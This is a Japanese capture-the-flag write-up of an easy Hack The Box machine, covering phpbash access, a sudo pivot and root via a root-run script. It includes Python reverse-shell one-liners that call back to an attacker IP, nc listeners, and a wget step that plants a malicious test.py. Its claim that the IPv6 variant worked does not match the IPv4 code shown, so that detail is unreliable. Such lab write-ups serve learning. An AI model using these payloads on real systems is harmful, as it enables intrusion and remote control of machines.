はじめに
筆者は Hack the Box 初心者です。 何か訂正や補足、アドバイスなどありましたら、コメントか Twitter までお願いします。 さんぽし(@sanpo_shiho) | Twitter
cheat sheet
以下で cheat sheet としてツールの使い方などをまとめています。参考にしてください。 github | sanposhiho/MYCHEATSHEET
machine について
難易度は easy です。
nmap
kali@kali:~$ nmap -p- -sC -sV 10.10.10.68
Starting Nmap 7.80 ( https://nmap.org ) at 2020-03-14 20:53 EDT
Nmap scan report for 10.10.10.68
Host is up (0.17s latency).
Not shown: 65505 closed ports, 29 filtered ports
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Arrexel's Development Site
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 4542.47 seconds
80 番ポートを開いてみる
phpbash について説明した記事が出てきます。
dirbuster
/dev
に phpbash.php
が見つかります。
phpbash.php
を開く
このようなターミナルのような画面が現れます。
user.txt が取れました。
とりま sudo -l
する
scriptmanager という user に切り替えられることがわかります。
リバースシェルをとる
なぜか phpbash で scriptmanager の bash に切り替えられなかったので(← 詰まったポイント 1)phpbash から一旦普通のリバースシェルに切り替えます。
ホスト側で以下のように待ち構えて
$ nc -lvnp 4242
PayloadsAllTheThingsに乗っている python のコードをそのまま拝借して使用します。 IPv4 ではなぜか失敗します(← 詰まったポイント 2 他の writeup をみてみると IPv4 じゃなくて IPv6 なら成功するよってことで IPv6 を使用すると、
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.3",4242));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
以下のようにリバースシェルが取れました。
kali@kali:~$ nc -lvnp 4242
listening on [any] 4242 ...
connect to [10.10.14.3] from (UNKNOWN) [10.10.10.68] 39742
/bin/sh: 0: can't access tty; job control turned off
$
そしてリバースシェルの方で scriptmanager に切り替えようとしてみると
$ sudo -u scriptmanager bash
whoami
scriptmanager
成功しました。
ディレクトリ探索
scriptmanager という名前なので script などの名前のついたファイルを中心に探してみると、ルートディレクトリに /script
が存在し、案の定 scriptmanager が所有していることになっています。
cd /
ls -la
total 88
drwxr-xr-x 23 root root 4096 Dec 4 2017 .
drwxr-xr-x 23 root root 4096 Dec 4 2017 ..
drwxr-xr-x 2 root root 4096 Dec 4 2017 bin
drwxr-xr-x 3 root root 4096 Dec 4 2017 boot
drwxr-xr-x 19 root root 4240 Mar 14 17:55 dev
drwxr-xr-x 89 root root 4096 Dec 4 2017 etc
drwxr-xr-x 4 root root 4096 Dec 4 2017 home
lrwxrwxrwx 1 root root 32 Dec 4 2017 initrd.img -> boot/initrd.img-4.4.0-62-generic
drwxr-xr-x 19 root root 4096 Dec 4 2017 lib
drwxr-xr-x 2 root root 4096 Dec 4 2017 lib64
drwx------ 2 root root 16384 Dec 4 2017 lost+found
drwxr-xr-x 4 root root 4096 Dec 4 2017 media
drwxr-xr-x 2 root root 4096 Feb 15 2017 mnt
drwxr-xr-x 2 root root 4096 Dec 4 2017 opt
dr-xr-xr-x 124 root root 0 Mar 14 17:55 proc
drwx------ 3 root root 4096 Dec 4 2017 root
drwxr-xr-x 18 root root 500 Mar 14 17:55 run
drwxr-xr-x 2 root root 4096 Dec 4 2017 sbin
drwxrwxr-- 2 scriptmanager scriptmanager 4096 Dec 4 2017 scripts
drwxr-xr-x 2 root root 4096 Feb 15 2017 srv
dr-xr-xr-x 13 root root 0 Mar 15 00:33 sys
drwxrwxrwt 10 root root 4096 Mar 15 00:55 tmp
drwxr-xr-x 10 root root 4096 Dec 4 2017 usr
drwxr-xr-x 12 root root 4096 Dec 4 2017 var
lrwxrwxrwx 1 root root 29 Dec 4 2017 vmlinuz -> boot/vmlinuz-4.4.0-62-generic
中をみてみます。
ls -la
total 16
drwxrwxr-- 2 scriptmanager scriptmanager 4096 Dec 4 2017 .
drwxr-xr-x 23 root root 4096 Dec 4 2017 ..
-rw-r--r-- 1 scriptmanager scriptmanager 58 Dec 4 2017 test.py
-rw-r--r-- 1 root root 12 Mar 15 00:56 test.txt
scriptmanager の所有する test.py
、root が所有する test.txt
が存在します。
中を覗くと
cat test.py
f = open("test.txt", "w")
f.write("testing 123!")
f.close
cat test.txt
testing 123!
となっています。
ここでもここからどうすれば??という感じだったのですが、注目すべきは test.txt
の更新時間でした。
このファイルだけ明らかに最近更新されており、ls -la
でみるたびに更新されています。
- 頻繁に更新されていることから自動で
test.py
が実行されるようになっていると予想される test.txt
は root の所有なのでtest.py
の実行は root が行なっていると考えられる- そして
test.py
は scriptmanager の所有なので編集できる
ここまで言えば何をすればいいか明確ですね(← 自分では分からなくてwriteupみた人)
test.py を編集する
正確には編集したものをホストから持ってきます。
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",4242));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);
見にくいですね。これは先ほどのPayloadsAllTheThingsに乗っている python の IPv6 のコードをそのまま持ってきたものです(IP アドレスとかは変えてます)
ホスト側で SimpleHTTPServer を使って machine 側で取得します。
kali@kali:~$ python -m SimpleHTTPServer
rm test.py
wget http://10.10.14.3:8000/test.py
--2020-03-15 01:09:23-- http://10.10.14.3:8000/test.py
Connecting to 10.10.14.3:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 215 [text/plain]
Saving to: 'test.py'
0K 100% 24.3M=0s
2020-03-15 01:09:24 (24.3 MB/s) - 'test.py' saved [215/215]
これで既存の test.py を先ほど編集した test.py に切り替えられました。 ホスト側で root のリバースシェルを待ち受けます
kali@kali:~$ nc -lnvp 4444
listening on [any] 4444 ...
自動で
test.py
が実行されるようになっていると予想される
なのでしばらく待ってみると
connect to [10.10.14.3] from (UNKNOWN) [10.10.10.68] 37178
/bin/sh: 0: can't access tty; job control turned off
# whoami
root
root が取れました!
終わりに
今回は ls -la
で所有者の違いと更新日時から root が定期的に test.py
を実行しているということを見破るという部分が自分では見破れませんでした…
精進します。。